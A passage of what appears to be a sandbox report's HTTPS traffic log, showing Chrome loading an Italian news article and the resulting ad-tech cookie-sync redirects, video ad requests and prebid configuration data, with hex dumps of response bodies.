a}end(a){if(this.g&&"number"===typeof a.value){a
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 6c 65 74 20 6c 3d 72 62 28 68 5b 6b 5d 2c 61 2e 69 2c 22 2c 24 22 29 3b 69 66 28 6c 29 7b 6c 3d 65 2b 6c 3b 69 66 28 64 3e 3d 6c 2e 6c 65 6e 67 74 68 29 7b 64 2d 3d 6c 2e 6c 65 6e 67 74 68 3b 63 2b 3d 6c 3b 65 3d 61 2e 69 3b 62 72 65 61 6b 7d 62 3d 6e 75 6c 6c 3d 3d 62 3f 67 3a 62 7d 7d 7d 61 3d 22 22 3b 6e 75 6c 6c 21 3d 62 26 26 28 61 3d 65 2b 22 74 72 6e 3d 22 2b 62 29 3b 72 65 74 75 72 6e 20 63 2b 61 7d 63 6c 61 73 73 20 76 62 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 69 3d 22 26 22 3b 74 68 69 73 2e 68 3d 7b 7d 3b 74 68 69 73 2e 6a 3d 30 3b 74 68 69 73 2e 67 3d 5b 5d 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 62 28 61 29 7b 6c 65 74 20 62 3d 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 61 2e 6e 61 6d 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 Data Ascii: let l=rb(h[k],a.i,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.i;break}b=null==b?g:b}}}a="";null!=b&&(a=e+"trn="+b);return c+a}class vb{constructor(){this.i="&";this.h={};this.j=0;this.g=[]}};function wb(a){let b=a.toString();a.name&&-1==b.index

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	50246	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	769	OUT	GET /track/cmf/generic?ttd_pid=digqd7p&ttd_tpi=1&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT] HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
2024-03-28 08:51:32 UTC	529	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 227 Connection: close server: Kestrel location: https://sync.admanmedia.com/ttd.gif?puid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent= set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASABKAIyCwiE1-3138PnPBAFOAFaB2RpZ3FkN3BgAg..; expires=Fri, 28 Mar 2025 08:51:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:32 UTC	227	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 61 64 6d 61 6e 6d 65 64 69 61 2e 63 6f 6d 2f 74 74 64 2e 67 69 66 3f 70 75 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 61 64 6d 61 6e 6d 65 64 69 61 2e 63 6f 6d 2f 74 74 64 2e 67 69 66 3f 70 75 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://sync.admanmedia.com/ttd.gif?puid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent=">https://sync.admanmedia.com/ttd.gif?puid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	50247	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1015	OUT	GET /f7872c90c5d3791e2b51f7edce1a0a5d/?p=sZn9xIbZzF&consentString=[GDPR_CONSENT]&r=https%3A%2F%2Fsync.admanmedia.com%2F71da423e3fcc7c87e88ac913d505141d.gif%3Fpuid%3D[PDID] HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
2024-03-28 08:51:32 UTC	381	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Location: https://sync.admanmedia.com/71da423e3fcc7c87e88ac913d505141d.gif?puid=2c9d0f98-4385-4c43-ba27-1zz1711615376
2024-03-28 08:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.4	50241	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1096	OUT	GET /player/?zid=AACAFQeVCHLlefG8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&activation=onload&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&ahd=1&schain=1.0,1!movingup.it,109,1,,,&player_session=%7B%22page_id%22%3A%22018e8441b31cc64c0ea7193c3ebea690%22%2C%22screen%22%3A%7B%22width%22%3A1280%2C%22height%22%3A1024%7D%2C%22page%22%3A%7B%22width%22%3A1263%2C%22height%22%3A13576%7D%2C%22viewport%22%3A%7B%22width%22%3A1280%2C%22height%22%3A907%7D%2C%22player_size%22%3A%7B%22width%22%3A535%2C%22height%22%3A301%7D%7D&sc=1&gdpr=0&cmp=unavailable&dd=bsnews.it HTTP/1.1 Host: ads.viralize.tv Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vr_uid=NzY5NWIzYWUtYTFjZC00NjhhLWE1MTgtYzc3MzNjYWVhNGVm\|1711615884\|94eda8e1184d8826c1eadd57bb7c2d1ee7b65411; u-profile=\|AiVPZQ3y1b34953
2024-03-28 08:51:32 UTC	575	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: application/json; charset=utf-8 Vary: Accept-Encoding server: uvicorn server: Unknown access-control-allow-origin: * access-control-allow-credentials: true set-cookie: vr_uid=NzY5NWIzYWUtYTFjZC00NjhhLWE1MTgtYzc3MzNjYWVhNGVm\|1711615892\|10ab58d6d378fea0a9de5a124e9f63eb4bc95ae3; Domain=.viralize.tv; expires=Fri, 25 Apr 2025 08:51:32 GMT; HttpOnly; Path=/; SameSite=None; Secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 65 30 30 0d 0a 7b 22 69 6d 70 72 65 73 73 69 6f 6e 22 3a 7b 22 63 72 65 61 74 69 76 69 74 79 22 3a 7b 22 76 69 64 65 6f 73 22 3a 5b 5d 2c 22 74 68 75 6d 62 6e 61 69 6c 73 22 3a 5b 5d 2c 22 64 75 72 61 74 69 6f 6e 22 3a 30 2c 22 73 69 74 65 6c 6f 6f 70 22 3a 7b 22 73 63 65 6e 65 73 22 3a 5b 5d 7d 7d 2c 22 70 72 69 63 69 6e 67 22 3a 7b 22 64 65 6d 61 6e 64 5f 70 61 79 5f 65 76 65 6e 74 22 3a 6e 75 6c 6c 2c 22 73 75 70 70 6c 79 5f 70 61 79 5f 65 76 65 6e 74 22 3a 6e 75 6c 6c 2c 22 63 6f 6e 74 65 6e 74 5f 70 61 79 5f 65 76 65 6e 74 22 3a 6e 75 6c 6c 7d 2c 22 70 6c 75 67 69 6e 73 22 3a 5b 5d 2c 22 66 6f 72 6d 61 74 22 3a 7b 22 63 6f 64 65 22 3a 22 74 68 75 6d 62 73 74 72 65 61 6d 2d 61 75 74 6f 70 6c 61 79 22 2c 22 63 6f 6e 74 72 6f 6c 6c 65 72 22 3a 22 6f 76 Data Ascii: e00{"impression":{"creativity":{"videos":[],"thumbnails":[],"duration":0,"siteloop":{"scenes":[]}},"pricing":{"demand_pay_event":null,"supply_pay_event":null,"content_pay_event":null},"plugins":[],"format":{"code":"thumbstream-autoplay","controller":"ov
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 2c 22 76 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 7d 2c 22 69 73 5f 70 72 65 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 69 73 5f 74 65 73 74 22 3a 66 61 6c 73 65 2c 22 70 72 65 76 69 65 77 5f 70 75 62 6c 69 73 68 65 72 22 3a 6e 75 6c 6c 2c 22 73 61 76 65 5f 64 61 74 61 22 3a 66 61 6c 73 65 2c 22 70 75 62 5f 70 6c 61 74 66 6f 72 6d 22 3a 6e 75 6c 6c 7d 2c 22 70 61 72 61 6d 73 22 3a 7b 22 67 63 69 64 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 61 75 74 6f 5f 66 61 6c 6c 62 61 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 66 75 6c 6c 5f 76 69 65 77 61 62 69 6c 69 74 79 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 66 75 6c 6c 5f 76 69 65 77 61 62 69 6c 69 74 79 5f 63 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 66 63 5f 69 67 6e 6f 72 65 22 3a Data Ascii: ,"version":null},"is_preview":false,"is_test":false,"preview_publisher":null,"save_data":false,"pub_platform":null},"params":{"gcid":null,"enable_auto_fallback":true,"enable_full_viewability":null,"enable_full_viewability_content":null,"enable_fc_ignore":
2024-03-28 08:51:32 UTC	1087	IN	Data Raw: 63 6f 6d 2c 31 31 37 32 2c 31 2c 2c 2c 22 7d 2c 22 7a 6f 6e 65 22 3a 7b 22 7a 69 64 22 3a 22 41 41 43 41 46 51 65 56 43 48 4c 6c 65 66 47 38 22 2c 22 66 6f 72 6d 61 74 5f 66 61 6d 69 6c 79 22 3a 22 6f 75 74 73 74 72 65 61 6d 22 2c 22 65 6e 61 62 6c 65 5f 63 6f 6e 74 65 6e 74 5f 74 69 74 6c 65 22 3a 74 72 75 65 2c 22 70 61 75 73 61 62 6c 65 5f 61 64 73 22 3a 66 61 6c 73 65 2c 22 76 69 64 65 6f 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6c 6f 67 6f 22 3a 6e 75 6c 6c 2c 22 63 6f 6c 6f 72 5f 66 72 61 6d 65 22 3a 6e 75 6c 6c 2c 22 63 6f 6c 6f 72 5f 75 69 22 3a 6e 75 6c 6c 2c 22 65 6e 61 62 6c 65 5f 64 61 72 6b 5f 6d 6f 64 65 22 3a 6e 75 6c 6c 2c 22 61 64 76 61 6e 63 65 64 5f 75 69 22 3a 6e 75 6c 6c 2c 22 74 65 78 74 5f 74 6f 70 22 3a 6e 75 6c 6c Data Ascii: com,1172,1,,,"},"zone":{"zid":"AACAFQeVCHLlefG8","format_family":"outstream","enable_content_title":true,"pausable_ads":false,"video_resolution":null,"logo":null,"color_frame":null,"color_ui":null,"enable_dark_mode":null,"advanced_ui":null,"text_top":null
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 77 4e 44 63 35 70 5f 49 32 34 57 69 32 30 51 4d 3d 22 2c 22 74 65 63 68 22 3a 22 61 75 74 6f 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 62 69 64 64 65 72 22 3a 22 70 75 62 6d 61 74 69 63 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 70 75 62 6c 69 73 68 65 72 49 64 22 3a 22 31 35 36 39 36 32 22 2c 22 61 64 53 6c 6f 74 22 3a 22 35 36 35 39 32 30 37 22 2c 22 6b 61 64 66 6c 6f 6f 72 22 3a 22 31 31 2e 38 30 22 2c 22 63 75 72 72 65 6e 63 79 22 3a 22 45 55 52 22 2c 22 76 69 64 Data Ascii: 1000","gcid":"YWRuXzEwNDc5p_I24Wi20QM=","tech":"auto","max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"prebid":{"bidder":"pubmatic","params":{"publisherId":"156962","adSlot":"5659207","kadfloor":"11.80","currency":"EUR","vid
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 75 74 22 3a 31 35 30 30 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 62 69 64 64 65 72 22 3a 22 70 75 62 6d 61 74 69 63 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 70 75 62 6c 69 73 68 65 72 49 64 22 3a 22 31 35 36 39 36 32 22 2c 22 61 64 53 6c 6f 74 22 3a 22 35 36 35 39 32 30 37 22 2c 22 63 75 72 72 65 6e 63 79 22 3a 22 45 55 52 22 2c 22 6b 61 64 66 6c 6f 6f 72 22 3a 22 31 2e 30 30 22 2c 22 76 69 64 65 6f 22 3a 7b 22 73 6b 69 70 70 61 62 6c 65 22 3a 74 72 75 65 2c 22 6d 69 6e 64 75 72 61 74 69 6f 6e 22 3a 31 2c 22 6d 61 78 64 75 72 61 74 69 6f 6e 22 3a 36 30 2c 22 73 74 61 72 74 64 65 6c 61 79 22 3a 30 2c 22 61 70 69 22 3a 5b 32 5d 2c 22 6d 69 6d 65 73 22 3a 5b 22 76 69 64 65 6f 2f 6d 70 34 22 2c 22 76 69 64 65 6f 2f 77 65 62 6d 22 2c 22 61 70 70 6c 69 63 61 74 69 Data Ascii: ut":15000,"prebid":{"bidder":"pubmatic","params":{"publisherId":"156962","adSlot":"5659207","currency":"EUR","kadfloor":"1.00","video":{"skippable":true,"minduration":1,"maxduration":60,"startdelay":0,"api":[2],"mimes":["video/mp4","video/webm","applicati
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 41 64 6a 75 73 74 6d 65 6e 74 22 3a 31 2e 31 35 7d 7d 7d 2c 7b 22 6f 72 69 67 69 6e 22 3a 22 61 64 6e 65 74 77 6f 72 6b 22 2c 22 67 63 69 64 22 3a 22 59 57 52 75 58 7a 45 77 4f 54 63 32 68 32 6e 78 44 47 79 66 50 64 59 3d 22 2c 22 74 65 63 68 22 3a 22 61 75 74 6f 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 62 69 64 64 65 72 22 3a 22 72 75 62 69 63 6f 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 61 63 63 6f 75 6e 74 49 64 22 3a 31 38 31 39 34 2c 22 73 69 74 65 49 64 22 3a 33 35 32 31 32 36 2c 22 7a 6f 6e 65 49 64 22 3a 32 38 35 31 36 38 Data Ascii: Adjustment":1.15}}},{"origin":"adnetwork","gcid":"YWRuXzEwOTc2h2nxDGyfPdY=","tech":"auto","max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"prebid":{"bidder":"rubicon","params":{"accountId":18194,"siteId":352126,"zoneId":285168
2024-03-28 08:51:32 UTC	348	IN	Data Raw: 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 67 61 6d 70 61 64 2f 61 64 73 3f 69 75 3d 2f 37 30 34 37 25 32 43 32 32 38 39 38 37 33 33 31 35 32 2f 61 70 6c 2f 73 68 6f 77 68 65 72 6f 65 73 2f 76 61 73 74 32 26 64 65 73 63 72 69 70 74 69 6f 6e 5f 75 72 6c 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 62 73 6e 65 77 73 2e 69 74 26 74 66 63 64 3d 30 26 6e 70 61 3d 30 26 73 7a 3d 34 30 30 78 33 30 30 26 67 64 66 70 5f 72 65 71 3d 31 26 6f 75 74 70 75 74 3d 76 61 73 74 26 75 6e 76 69 65 77 65 64 5f 70 6f 73 69 74 69 6f 6e 5f 73 74 61 72 74 3d 31 26 65 6e 76 3d 76 70 26 Data Ascii: ce_fullview":false,"total_timeout":15000,"url":"https://pubads.g.doubleclick.net/gampad/ads?iu=/7047%2C22898733152/apl/showheroes/vast2&description_url=http%3A%2F%2Fbsnews.it&tfcd=0&npa=0&sz=400x300&gdfp_req=1&output=vast&unviewed_position_start=1&env=vp&
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 68 22 3a 22 68 74 6d 6c 35 22 2c 22 6d 61 78 5f 72 65 71 75 65 73 74 5f 61 74 74 65 6d 70 74 73 22 3a 31 2c 22 65 6e 61 62 6c 65 5f 66 6f 72 63 65 5f 66 75 6c 6c 76 69 65 77 22 3a 66 61 6c 73 65 2c 22 74 6f 74 61 6c 5f 74 69 6d 65 6f 75 74 22 3a 31 35 30 30 30 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 67 61 6d 70 61 64 2f 61 64 73 3f 69 75 3d 2f 37 30 34 37 25 32 43 32 32 38 39 38 37 33 33 31 35 32 2f 61 70 6c 2f 73 68 6f 77 68 65 72 6f 65 73 2f 76 61 73 74 31 26 64 65 73 63 72 69 70 74 69 6f 6e 5f 75 72 6c 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 62 73 6e 65 77 73 2e 69 74 26 74 66 63 64 3d 30 26 6e 70 61 3d 30 26 73 7a 3d 34 30 30 78 33 30 30 26 67 64 66 Data Ascii: 1000h":"html5","max_request_attempts":1,"enable_force_fullview":false,"total_timeout":15000,"url":"https://pubads.g.doubleclick.net/gampad/ads?iu=/7047%2C22898733152/apl/showheroes/vast1&description_url=http%3A%2F%2Fbsnews.it&tfcd=0&npa=0&sz=400x300&gdf
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 61 3d 4d 6f 7a 69 6c 6c 61 25 32 46 35 2e 30 2b 25 32 38 57 69 6e 64 6f 77 73 2b 4e 54 2b 31 30 2e 30 25 33 42 2b 57 69 6e 36 34 25 33 42 2b 78 36 34 25 32 39 2b 41 70 70 6c 65 57 65 62 4b 69 74 25 32 46 35 33 37 2e 33 36 2b 25 32 38 4b 48 54 4d 4c 25 32 43 2b 6c 69 6b 65 2b 47 65 63 6b 6f 25 32 39 2b 43 68 72 6f 6d 65 25 32 46 31 31 37 2e 30 2e 30 2e 30 2b 53 61 66 61 72 69 25 32 46 35 33 37 2e 33 36 26 64 6f 6d 61 69 6e 3d 62 73 6e 65 77 73 2e 69 74 26 70 61 67 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 62 73 6e 65 77 73 2e 69 74 25 32 46 32 30 31 35 25 32 46 30 31 25 32 46 32 33 25 32 46 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d Data Ascii: a=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F117.0.0.0+Safari%2F537.36&domain=bsnews.it&page=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 69 2f 3f 63 3d 76 26 6d 3d 74 61 67 26 70 6c 61 63 65 6d 65 6e 74 49 64 3d 31 37 38 26 76 69 64 65 6f 74 79 70 65 3d 56 50 41 49 44 26 77 50 6c 61 79 65 72 3d 35 33 35 26 68 50 6c 61 79 65 72 3d 33 30 31 26 69 70 3d 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 26 75 61 3d 4d 6f 7a 69 6c 6c 61 25 32 46 35 2e 30 2b 25 32 38 57 69 6e 64 6f 77 73 2b 4e 54 2b 31 30 2e 30 25 33 42 2b 57 69 6e 36 34 25 33 42 2b 78 36 34 25 32 39 2b 41 70 70 6c 65 57 65 62 4b 69 74 25 32 46 35 33 37 2e 33 36 2b 25 32 38 4b 48 54 4d 4c 25 32 43 2b 6c 69 6b 65 2b 47 65 63 6b 6f 25 32 39 2b 43 68 72 6f 6d 65 25 32 46 31 31 37 2e 30 2e 30 2e 30 2b 53 61 66 61 72 69 25 32 46 35 33 37 2e 33 36 26 64 6f 6d 61 69 6e 3d 62 73 6e 65 77 73 2e 69 74 26 70 61 67 65 3d 68 74 74 70 73 25 33 41 25 32 Data Ascii: i/?c=v&m=tag&placementId=178&videotype=VPAID&wPlayer=535&hPlayer=301&ip=102.165.48.43&ua=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F117.0.0.0+Safari%2F537.36&domain=bsnews.it&page=https%3A%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.4	50277	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	789	OUT	GET /ups/58813/fed?gpp_sid=-1&v=1&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
2024-03-28 08:51:32 UTC	612	IN	HTTP/1.1 400 Bad Request Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: application/json Content-Length: 0 Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU; Expires=Fri, 28 Mar 2025 14:51:32 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.4	50269	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	598	OUT	GET /cookie-sync/aul HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	368	IN	HTTP/1.1 303 See Other Date: Thu, 28 Mar 2024 08:51:32 GMT location: https://match.prod.bidr.io/cookie-sync/aul?_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Thu, 28 Mar 2024 09:01:32 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.4	50290	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	610	OUT	GET /cookie-sync/svr?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	389	IN	HTTP/1.1 303 See Other Date: Thu, 28 Mar 2024 08:51:32 GMT location: https://match.prod.bidr.io/cookie-sync/svr?gdpr=0&gdpr_consent=&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Thu, 28 Mar 2024 09:01:32 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.4	50271	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
